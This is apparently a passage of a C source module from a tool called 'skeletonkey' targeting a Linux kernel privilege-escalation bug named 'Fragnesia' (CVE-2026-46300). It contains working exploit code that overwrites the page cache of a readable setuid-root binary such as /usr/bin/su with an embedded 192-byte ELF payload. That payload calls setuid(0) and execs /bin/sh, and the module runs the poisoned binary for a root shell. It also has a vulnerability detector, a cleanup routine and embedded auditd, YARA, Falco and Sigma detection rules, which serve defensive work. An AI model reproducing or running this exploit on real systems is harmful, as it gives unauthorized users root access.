|
|
build_stream0_table();
|
|
LOG("smashing %zu bytes into the read-only page cache", desired_len);
|
|
|
|
for (idx = 0; idx < desired_len; idx++) {
|
|
uint64_t off = byte_off + idx;
|
|
unsigned char current = read_byte_at(target_file, off);
|
|
unsigned char final, need_stream;
|
|
|
|
if (current == desired[idx]) {
|
|
skipped++;
|
|
continue;
|
|
}
|
|
|
|
target_splice_off = (loff_t)off;
|
|
need_stream = current ^ desired[idx];
|
|
choose_iv_for_stream0(need_stream);
|
|
active_esp_seq++;
|
|
|
|
if (run_trigger_pair() < 0) {
|
|
ERR("trigger pair failed at index=%zu", idx);
|
|
return 2;
|
|
}
|
|
|
|
final = read_byte_at(target_file, off);
|
|
if (final == desired[idx]) {
|
|
changed++;
|
|
if (fg_verbose && (idx % 16 == 0 || idx + 1 == desired_len))
|
|
fprintf(stderr, "[*] fragnesia: +%04llx "
|
|
"%02x -> %02x (%zu/%zu)\n",
|
|
(unsigned long long)off, current, final,
|
|
idx + 1, desired_len);
|
|
continue;
|
|
}
|
|
if (final == current) {
|
|
LOG("byte unchanged at +%llx — kernel appears patched",
|
|
(unsigned long long)off);
|
|
return 0;
|
|
}
|
|
ERR("byte changed but mismatched desired at +%llx "
|
|
"(want %02x got %02x)", (unsigned long long)off,
|
|
desired[idx], final);
|
|
return 3;
|
|
}
|
|
|
|
/* final verify pass */
|
|
for (idx = 0; idx < desired_len; idx++) {
|
|
if (read_byte_at(target_file, byte_off + idx) != desired[idx]) {
|
|
ERR("final verify mismatch at index=%zu", idx);
|
|
return 3;
|
|
}
|
|
}
|
|
if (changed == 0) {
|
|
LOG("all requested bytes already matched — nothing demonstrated");
|
|
return 2;
|
|
}
|
|
LOG("payload verified in page cache (changed=%zu skipped=%zu)",
|
|
changed, skipped);
|
|
return 1;
|
|
}
|
|
|
|
/* 192-byte ET_DYN ELF: setuid/setgid/seteuid(0) + execve("/bin/sh").
|
|
* Reproduced verbatim from the V12 PoC. */
|
|
static const uint8_t shell_elf[PAYLOAD_LEN] = {
|
|
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
|
|
0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
|
|
0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
|
|
0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
|
|
0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
|
|
0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
|
|
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
};
|
|
|
|
static const char *fg_pick_target(void)
|
|
{
|
|
for (int i = 0; fg_targets[i]; i++) {
|
|
struct stat sb;
|
|
if (stat(fg_targets[i], &sb) == 0 &&
|
|
(sb.st_mode & S_ISUID) && sb.st_uid == 0 &&
|
|
sb.st_size >= FRAG_LEN && access(fg_targets[i], R_OK) == 0)
|
|
return fg_targets[i];
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
static void fg_evict(const char *path)
|
|
{
|
|
int fd = open(path, O_RDONLY);
|
|
if (fd >= 0) {
|
|
#ifdef POSIX_FADV_DONTNEED
|
|
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
|
#endif
|
|
close(fd);
|
|
}
|
|
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
|
if (dc >= 0) { if (write(dc, "3\n", 2) < 0) {} close(dc); }
|
|
}
|
|
|
|
/* The unprivileged-userns precondition is now read from the shared
|
|
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
|
|
* probes once at startup via core/host.c. The previous per-detect
|
|
* fork-probe helper was removed. */
|
|
|
|
/* ---- detect ------------------------------------------------------- */
|
|
|
|
/*
|
|
* Active probe: run the full ESP-in-TCP primitive against a disposable
|
|
* /tmp file. Returns 1 vulnerable, 0 not, -1 probe error. Forks so the
|
|
* PoC's exit()/die() paths stay contained.
|
|
*/
|
|
static int fg_active_probe(void)
|
|
{
|
|
char probe[] = "/tmp/skeletonkey-fragnesia-probe-XXXXXX";
|
|
int fd = mkstemp(probe);
|
|
if (fd < 0)
|
|
return -1;
|
|
unsigned char filler[8192];
|
|
memset(filler, 0x5a, sizeof(filler));
|
|
if (write(fd, filler, sizeof(filler)) != (ssize_t)sizeof(filler)) {
|
|
close(fd); unlink(probe); return -1;
|
|
}
|
|
fsync(fd);
|
|
close(fd);
|
|
|
|
int result = -1;
|
|
pid_t pid = fork();
|
|
if (pid == 0) {
|
|
/* one-byte payload differing from the 0x5a filler */
|
|
static const unsigned char want[1] = { 0xa5 };
|
|
use_existing_target(probe);
|
|
setup_user_netns_xfrm();
|
|
int rc = replace_existing_bytes_after(0, want, 1, 8192);
|
|
_exit(rc == 1 ? 0 : (rc == 0 ? 10 : 2));
|
|
}
|
|
if (pid > 0) {
|
|
int st;
|
|
waitpid(pid, &st, 0);
|
|
if (WIFEXITED(st)) {
|
|
if (WEXITSTATUS(st) == 0) result = 1;
|
|
else if (WEXITSTATUS(st) == 10) result = 0;
|
|
else result = -1;
|
|
}
|
|
}
|
|
unlink(probe);
|
|
return result;
|
|
}
|
|
|
|
/*
|
|
* CVE-2026-46300 is a latent skb_try_coalesce() bug exposed by the
|
|
* Dirty Frag remediation (commit f4c50a4034e6) which landed in Linux
|
|
* 7.0. The Fragnesia fix shipped in the 7.0.x stable series at 7.0.9
|
|
* per Debian's tracker (linux unstable: 7.0.9-1 fixed). Older Debian
|
|
* stable branches (bullseye 5.10, bookworm 6.1, trixie 6.12) are
|
|
* still marked vulnerable as of 2026-05-22 — backports may follow.
|
|
*
|
|
* The detect logic:
|
|
* - kernel ≥ 7.0.9 → patched on the 7.0.x branch
|
|
* - kernel on 5.10/6.1/6.12 (other branches without a backport
|
|
* entry in this table) → version says
|
|
* VULNERABLE; --active confirms empirically
|
|
* - --active → empirical override (catches distro silent
|
|
* backports and unfixed 7.0.x ≤ 7.0.8)
|
|
*
|
|
* Stable-branch backports for 5.10 / 6.1 / 6.12 — when they ship —
|
|
* extend the table with the matching {major, minor, patch} entry.
|
|
*/
|
|
static const struct kernel_patched_from fragnesia_patched_branches[] = {
|
|
{7, 0, 9}, /* mainline + 7.0.x stable: fix lands at 7.0.9 */
|
|
};
|
|
static const struct kernel_range fragnesia_range = {
|
|
.patched_from = fragnesia_patched_branches,
|
|
.n_patched_from = sizeof(fragnesia_patched_branches) /
|
|
sizeof(fragnesia_patched_branches[0]),
|
|
};
|
|
|
|
static skeletonkey_result_t fg_detect(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
fg_verbose = !ctx->json;
|
|
|
|
/* Pull kernel version and userns availability from the shared
|
|
* host fingerprint — populated once at startup, no per-detect
|
|
* fork or re-parse. */
|
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
|
if (!v || v->major == 0) {
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[!] fragnesia: host fingerprint missing kernel "
|
|
"version — bailing\n");
|
|
return SKELETONKEY_TEST_ERROR;
|
|
}
|
|
|
|
if (!ctx->host->unprivileged_userns_allowed) {
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[i] fragnesia: unprivileged user "
|
|
"namespaces are disabled (host fingerprint) — "
|
|
"XFRM gate closed here (CAP_NET_ADMIN unreachable)%s\n",
|
|
ctx->host->apparmor_restrict_userns ?
|
|
"; AppArmor restriction is on" : "");
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
|
|
if (!fg_pick_target()) {
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[i] fragnesia: no readable setuid-root "
|
|
"binary >= %d bytes — exploit has no carrier\n",
|
|
FRAG_LEN);
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
|
|
bool patched_by_version = kernel_range_is_patched(&fragnesia_range, v);
|
|
|
|
if (ctx->active_probe) {
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[*] fragnesia: running active probe "
|
|
"(safe; /tmp file only)\n");
|
|
int p = fg_active_probe();
|
|
if (p == 1) {
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[!] fragnesia: ACTIVE PROBE "
|
|
"CONFIRMED — ESP-in-TCP coalesce corrupts "
|
|
"the page cache (kernel %s)\n", v->release);
|
|
return SKELETONKEY_VULNERABLE;
|
|
}
|
|
if (p == 0) {
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[+] fragnesia: active probe did "
|
|
"not land — primitive blocked (likely "
|
|
"patched%s, or CONFIG_INET_ESPINTCP off)\n",
|
|
patched_by_version ? "" : "; distro may have "
|
|
"backported, or Dirty Frag is unpatched here");
|
|
return SKELETONKEY_OK;
|
|
}
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[?] fragnesia: active probe machinery "
|
|
"failed; falling back to version verdict\n");
|
|
}
|
|
|
|
if (patched_by_version) {
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[+] fragnesia: kernel %s is patched "
|
|
"(7.0.9+; version-only check — use --active to "
|
|
"confirm)\n", v->release);
|
|
return SKELETONKEY_OK;
|
|
}
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[!] fragnesia: kernel %s appears VULNERABLE "
|
|
"(no backport entry for this branch; version-only)\n"
|
|
" Confirm empirically: skeletonkey --scan --active\n",
|
|
v->release);
|
|
return SKELETONKEY_VULNERABLE;
|
|
}
|
|
|
|
/* ---- exploit ------------------------------------------------------ */
|
|
|
|
/* Runs in a forked child. On the shell path it execs the target and
|
|
* never returns. Exit codes: 0 ok, 2 fail, 3 partial, 4 precond,
|
|
* 10 not vulnerable (fixed). */
|
|
static void fg_child(const char *target_path, int no_shell)
|
|
{
|
|
uint64_t file_size = use_existing_target(target_path);
|
|
verify_write_denied("outer");
|
|
setup_user_netns_xfrm();
|
|
verify_write_denied("userns-root-mapped-to-outer-user");
|
|
|
|
int rc = replace_existing_bytes_after(0, shell_elf, PAYLOAD_LEN, file_size);
|
|
if (rc == 0) _exit(10);
|
|
if (rc == 2) _exit(2);
|
|
if (rc == 3) _exit(3);
|
|
|
|
/* rc == 1: payload fully verified in the page cache */
|
|
if (no_shell) {
|
|
LOG("--no-shell: payload placed, shell not spawned");
|
|
LOG("revert with `skeletonkey --cleanup fragnesia`");
|
|
_exit(0);
|
|
}
|
|
LOG("page cache poisoned; exec %s to claim root", target_path);
|
|
fflush(NULL);
|
|
execve(target_path, (char *[]){ (char *)target_path, NULL }, (char *[]){ NULL });
|
|
perror("execve target");
|
|
_exit(2);
|
|
}
|
|
|
|
static skeletonkey_result_t fg_exploit(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
fg_verbose = !ctx->json;
|
|
|
|
if (geteuid() == 0) {
|
|
fprintf(stderr, "[i] fragnesia: already root — nothing to do\n");
|
|
return SKELETONKEY_OK;
|
|
}
|
|
|
|
const char *target = fg_pick_target();
|
|
if (!target) {
|
|
ERR("no readable setuid-root carrier >= %d bytes", FRAG_LEN);
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
LOG("target carrier: %s", target);
|
|
|
|
int sf = open("/tmp/skeletonkey-fragnesia.target",
|
|
O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
|
if (sf >= 0) { if (write(sf, target, strlen(target)) < 0) {} close(sf); }
|
|
|
|
pid_t pid = fork();
|
|
if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
|
if (pid == 0)
|
|
fg_child(target, ctx->no_shell); /* never returns on shell path */
|
|
|
|
int st;
|
|
waitpid(pid, &st, 0);
|
|
if (!WIFEXITED(st))
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
switch (WEXITSTATUS(st)) {
|
|
case 0: return SKELETONKEY_EXPLOIT_OK;
|
|
case 4: return SKELETONKEY_PRECOND_FAIL;
|
|
case 10: return SKELETONKEY_OK; /* kernel patched */
|
|
default: return SKELETONKEY_EXPLOIT_FAIL;
|
|
}
|
|
}
|
|
|
|
/* ---- cleanup ------------------------------------------------------ */
|
|
|
|
static skeletonkey_result_t fg_cleanup(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
fg_verbose = !ctx->json;
|
|
|
|
char target[256] = {0};
|
|
int sf = open("/tmp/skeletonkey-fragnesia.target", O_RDONLY);
|
|
if (sf >= 0) {
|
|
ssize_t n = read(sf, target, sizeof(target) - 1);
|
|
if (n > 0) target[n] = '\0';
|
|
close(sf);
|
|
}
|
|
if (target[0]) {
|
|
LOG("evicting %s from page cache", target);
|
|
fg_evict(target);
|
|
unlink("/tmp/skeletonkey-fragnesia.target");
|
|
} else {
|
|
LOG("no recorded target; evicting all candidate carriers");
|
|
for (int i = 0; fg_targets[i]; i++)
|
|
fg_evict(fg_targets[i]);
|
|
}
|
|
return SKELETONKEY_OK;
|
|
}
|
|
|
|
#else /* !__linux__ */
|
|
|
|
static skeletonkey_result_t fg_detect(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[i] fragnesia: Linux-only module "
|
|
"(XFRM ESP-in-TCP) — not applicable on this platform\n");
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
static skeletonkey_result_t fg_exploit(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
(void)ctx;
|
|
fprintf(stderr, "[-] fragnesia: Linux-only module — cannot run here\n");
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
static skeletonkey_result_t fg_cleanup(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
(void)ctx;
|
|
return SKELETONKEY_OK;
|
|
}
|
|
|
|
#endif /* __linux__ */
|
|
|
|
/* ---- detection rules (embedded) ----------------------------------- */
|
|
|
|
static const char fg_auditd[] =
|
|
"# Fragnesia (CVE-2026-46300) — auditd detection rules\n"
|
|
"# XFRM ESP-in-TCP coalesce bug → page-cache write into a read-only file.\n"
|
|
"-w /usr/bin/su -p wa -k skeletonkey-fragnesia\n"
|
|
"-w /bin/su -p wa -k skeletonkey-fragnesia\n"
|
|
"-w /etc/passwd -p wa -k skeletonkey-fragnesia\n"
|
|
"-w /etc/shadow -p wa -k skeletonkey-fragnesia\n"
|
|
"# AF_ALG socket creation (family 38) — builds the GCM keystream table\n"
|
|
"-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-fragnesia-afalg\n"
|
|
"# XFRM state setup over NETLINK_XFRM\n"
|
|
"-a always,exit -F arch=b64 -S sendto -k skeletonkey-fragnesia-xfrm\n"
|
|
"# TCP_ULP espintcp + ESP setsockopt surface\n"
|
|
"-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-fragnesia-sockopt\n"
|
|
"# splice() drives page-cache pages into the ESP-in-TCP stream\n"
|
|
"-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice\n";
|
|
|
|
static const char fg_yara[] =
|
|
"rule fragnesia_payload_overlay : cve_2026_46300 page_cache_write\n"
|
|
"{\n"
|
|
" meta:\n"
|
|
" cve = \"CVE-2026-46300\"\n"
|
|
" description = \"Fragnesia payload: the 192-byte ET_EXEC x86_64 ELF the public V12 PoC overlays onto the first bytes of /usr/bin/su (or sibling setuid binary). Detects post-fire page-cache contents via direct scan.\"\n"
|
|
" author = \"SKELETONKEY\"\n"
|
|
" reference = \"https://github.com/v12-security/pocs/tree/main/fragnesia\"\n"
|
|
" strings:\n"
|
|
" // First 28 bytes of the embedded shell_elf[] payload.\n"
|
|
" $payload_head = { 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 02 00 3E 00 01 00 00 00 78 00 40 00 }\n"
|
|
" // The setuid+setgid+seteuid(0) prelude\n"
|
|
" $shellcode_drop = { 31 FF 31 F6 31 C0 B0 6A 0F 05 B0 69 0F 05 B0 74 0F 05 }\n"
|
|
" $sh = \"/bin/sh\"\n"
|
|
" $term = \"TERM=xterm\"\n"
|
|
" condition:\n"
|
|
" $payload_head at 0 and $shellcode_drop and $sh and $term and filesize > 4096\n"
|
|
"}\n";
|
|
|
|
static const char fg_falco[] =
|
|
"- rule: TCP_ULP=espintcp set by non-root (Fragnesia trigger)\n"
|
|
" desc: |\n"
|
|
" A non-root process flips a TCP socket into the espintcp ULP\n"
|
|
" inside an unprivileged userns. Core of the Fragnesia\n"
|
|
" (CVE-2026-46300) trigger — also the Dirty Frag ESP-in-TCP\n"
|
|
" setup. Legitimate use of TCP_ULP=espintcp from non-root is\n"
|
|
" essentially never seen in production.\n"
|
|
" condition: >\n"
|
|
" evt.type = setsockopt and evt.arg.optname = TCP_ULP and\n"
|
|
" not user.uid = 0\n"
|
|
" output: >\n"
|
|
" Fragnesia-style TCP_ULP=espintcp by non-root\n"
|
|
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
|
" priority: CRITICAL\n"
|
|
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.46300]\n"
|
|
"\n"
|
|
"- rule: ESP-in-TCP splice to crafted TCP connection (Fragnesia paged-frag write)\n"
|
|
" desc: |\n"
|
|
" splice() of a setuid binary's pages into a TCP socket whose\n"
|
|
" peer is configured for espintcp. Fragnesia's sender path\n"
|
|
" splices the carrier file (/usr/bin/su) into the loopback TCP\n"
|
|
" flow to land the in-place decrypt on the carrier's page cache.\n"
|
|
" condition: >\n"
|
|
" evt.type = splice and not user.uid = 0 and\n"
|
|
" (fd.name startswith /usr/bin/su or fd.name startswith /bin/su\n"
|
|
" or fd.name startswith /usr/bin/passwd)\n"
|
|
" output: >\n"
|
|
" splice() of setuid binary by non-root (user=%user.name\n"
|
|
" proc=%proc.name fd=%fd.name)\n"
|
|
" priority: WARNING\n"
|
|
" tags: [filesystem, cve.2026.46300]\n";
|
|
|
|
static const char fg_sigma[] =
|
|
"title: Possible Fragnesia exploitation (CVE-2026-46300)\n"
|
|
"id: 9b3d2e71-skeletonkey-fragnesia\n"
|
|
"status: experimental\n"
|
|
"description: |\n"
|
|
" Detects the footprint of the Fragnesia XFRM ESP-in-TCP page-cache\n"
|
|
" write (CVE-2026-46300): non-root modification of a setuid-root\n"
|
|
" binary or /etc/passwd, typically inside a freshly created user +\n"
|
|
" network namespace.\n"
|
|
"logsource: {product: linux, service: auditd}\n"
|
|
"detection:\n"
|
|
" modification:\n"
|
|
" type: 'PATH'\n"
|
|
" name|startswith: ['/usr/bin/su', '/bin/su', '/etc/passwd', '/etc/shadow']\n"
|
|
" not_root:\n"
|
|
" auid|expression: '!= 0'\n"
|
|
" condition: modification and not_root\n"
|
|
"level: high\n"
|
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46300]\n";
|
|
|
|
const struct skeletonkey_module fragnesia_module = {
|
|
.name = "fragnesia",
|
|
.cve = "CVE-2026-46300",
|
|
.summary = "XFRM ESP-in-TCP skb_try_coalesce SHARED_FRAG loss → page-cache write",
|
|
.family = "fragnesia",
|
|
.kernel_range = "Linux with CONFIG_INET_ESPINTCP and the Dirty Frag fix; mainline fix in 7.0.9 (older branches still unfixed)",
|
|
.detect = fg_detect,
|
|
.exploit = fg_exploit,
|
|
.mitigate = NULL,
|
|
.cleanup = fg_cleanup,
|
|
.detect_auditd = fg_auditd,
|
|
.detect_sigma = fg_sigma,
|
|
.detect_yara = fg_yara,
|
|
.detect_falco = fg_falco,
|
|
};
|
|
|
|
void skeletonkey_register_fragnesia(void)
|
|
{
|
|
skeletonkey_register(&fragnesia_module);
|
|
}
|